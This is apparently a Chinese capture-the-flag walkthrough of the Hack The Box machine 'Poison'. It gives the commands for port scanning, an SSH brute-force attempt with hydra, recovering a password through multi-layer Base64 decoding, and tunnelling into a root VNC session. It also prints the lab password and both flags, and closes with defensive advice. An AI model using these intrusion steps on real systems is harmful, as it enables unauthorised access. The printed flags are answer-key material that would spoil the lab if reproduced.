【HTB 靶机记录】Poison
字数 1316 2025-08-10 22:27:01

HTB 靶机 Poison 渗透测试教学文档

1. 靶机概述

Poison 是一个 Hack The Box 平台上的靶机,主要考察以下技术点:

  • 任意文件读取漏洞
  • Base64 多层解码
  • 端口转发技术
  • VNC 服务利用
  • 权限提升技术

2. 信息收集阶段

2.1 端口扫描

使用 nmap 进行端口扫描:

nmap -sS 10.10.10.84 -T4 -p-

扫描结果显示靶机开放了以下端口:

  • 22/tcp - SSH 服务
  • 80/tcp - HTTP 服务

2.2 服务枚举

尝试 SSH 爆破(虽然不推荐在生产环境使用):

sudo hydra -l root -P wordlist.TXT ssh://10.10.10.84

3. 初始访问 (Foothold)

3.1 任意文件读取漏洞利用

通过 Web 服务发现任意文件读取漏洞,获取 base 文件。

3.2 Base64 多层解码

对获取的 base 文件进行 13 次 Base64 解码:

base64 -d base|base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d

最终得到密码:Charix!2#4%6&8(0

3.3 获取用户权限

使用获得的密码通过 SSH 登录:

ssh charix@10.10.10.84

获取用户 flag:

cat user.txt

用户 flag 为:eaacdfb2d141b72a589233063604209c

4. 权限提升 (Privilege Escalation)

4.1 环境分析

发现系统禁用了 sudo 命令,且 sudoers 文件不存在:

sudo cat /etc/sudoers

4.2 进程枚举

检查运行中的进程,发现以 root 权限运行的进程:

  • xvnc
  • xterm

4.3 VNC 服务利用

4.3.1 端口发现

检查网络连接:

netstat -an

发现开放了 5801 和 5901 端口(VNC 默认端口)

4.3.2 获取 VNC 密码

/home/charix 目录下发现 secret.zip 文件:

ls /home/charix

将 secret.zip 下载到本地:

scp charix@10.10.10.84:/home/charix/secret.zip /

4.3.3 端口转发

由于靶机没有 vncviewer 命令,需要进行 SSH 端口转发:

  1. 转发 5901 端口:
ssh -L 1234:127.0.0.1:5901 charix@10.10.10.84
  1. 在另一个终端使用 vncviewer 连接:
vncviewer 127.0.0.1:1234 -passwd secret

4.4 获取 root 权限

成功连接 VNC 后,获得 root 权限 shell,读取 root flag:

cat /root/root.txt

root flag 为:716d04b188419cf2bb99d891272361f5

5. 关键知识点总结

  1. 任意文件读取漏洞:Web 应用中常见的漏洞类型,可能导致敏感信息泄露。

  2. Base64 多层编码

    • 数据可能被多次 Base64 编码
    • 需要尝试多层解码才能获取原始数据
    • 使用管道可以简化多层解码过程
  3. VNC 服务利用

    • VNC 默认使用 5800+ 和 5900+ 端口
    • 密码可能存储在本地文件中
    • 可以通过端口转发访问受限服务
  4. 权限提升技巧

    • 检查运行中的 root 进程
    • 利用服务配置不当获取更高权限
    • 当直接提权路径受阻时,寻找间接方法
  5. SSH 端口转发

    • 本地端口转发语法:ssh -L [本地端口]:[目标主机]:[目标端口] [用户名]@[SSH服务器]
    • 用于访问受限网络中的服务

6. 防御建议

  1. 避免 Web 应用中的任意文件读取漏洞
  2. 不要将敏感信息存储在多层编码中
  3. 限制 VNC 服务的访问权限
  4. 定期检查系统上运行的高权限进程
  5. 实施最小权限原则,限制用户权限
  6. 监控和限制端口转发功能的使用
HTB 靶机 Poison 渗透测试教学文档 1. 靶机概述 Poison 是一个 Hack The Box 平台上的靶机,主要考察以下技术点: 任意文件读取漏洞 Base64 多层解码 端口转发技术 VNC 服务利用 权限提升技术 2. 信息收集阶段 2.1 端口扫描 使用 nmap 进行端口扫描: 扫描结果显示靶机开放了以下端口: 22/tcp - SSH 服务 80/tcp - HTTP 服务 2.2 服务枚举 尝试 SSH 爆破(虽然不推荐在生产环境使用): 3. 初始访问 (Foothold) 3.1 任意文件读取漏洞利用 通过 Web 服务发现任意文件读取漏洞,获取 base 文件。 3.2 Base64 多层解码 对获取的 base 文件进行 13 次 Base64 解码: 最终得到密码: Charix!2#4%6&8(0 3.3 获取用户权限 使用获得的密码通过 SSH 登录: 获取用户 flag: 用户 flag 为: eaacdfb2d141b72a589233063604209c 4. 权限提升 (Privilege Escalation) 4.1 环境分析 发现系统禁用了 sudo 命令,且 sudoers 文件不存在: 4.2 进程枚举 检查运行中的进程,发现以 root 权限运行的进程: xvnc xterm 4.3 VNC 服务利用 4.3.1 端口发现 检查网络连接: 发现开放了 5801 和 5901 端口(VNC 默认端口) 4.3.2 获取 VNC 密码 在 /home/charix 目录下发现 secret.zip 文件: 将 secret.zip 下载到本地: 4.3.3 端口转发 由于靶机没有 vncviewer 命令,需要进行 SSH 端口转发: 转发 5901 端口: 在另一个终端使用 vncviewer 连接: 4.4 获取 root 权限 成功连接 VNC 后,获得 root 权限 shell,读取 root flag: root flag 为: 716d04b188419cf2bb99d891272361f5 5. 关键知识点总结 任意文件读取漏洞 :Web 应用中常见的漏洞类型,可能导致敏感信息泄露。 Base64 多层编码 : 数据可能被多次 Base64 编码 需要尝试多层解码才能获取原始数据 使用管道可以简化多层解码过程 VNC 服务利用 : VNC 默认使用 5800+ 和 5900+ 端口 密码可能存储在本地文件中 可以通过端口转发访问受限服务 权限提升技巧 : 检查运行中的 root 进程 利用服务配置不当获取更高权限 当直接提权路径受阻时,寻找间接方法 SSH 端口转发 : 本地端口转发语法: ssh -L [本地端口]:[目标主机]:[目标端口] [用户名]@[SSH服务器] 用于访问受限网络中的服务 6. 防御建议 避免 Web 应用中的任意文件读取漏洞 不要将敏感信息存储在多层编码中 限制 VNC 服务的访问权限 定期检查系统上运行的高权限进程 实施最小权限原则,限制用户权限 监控和限制端口转发功能的使用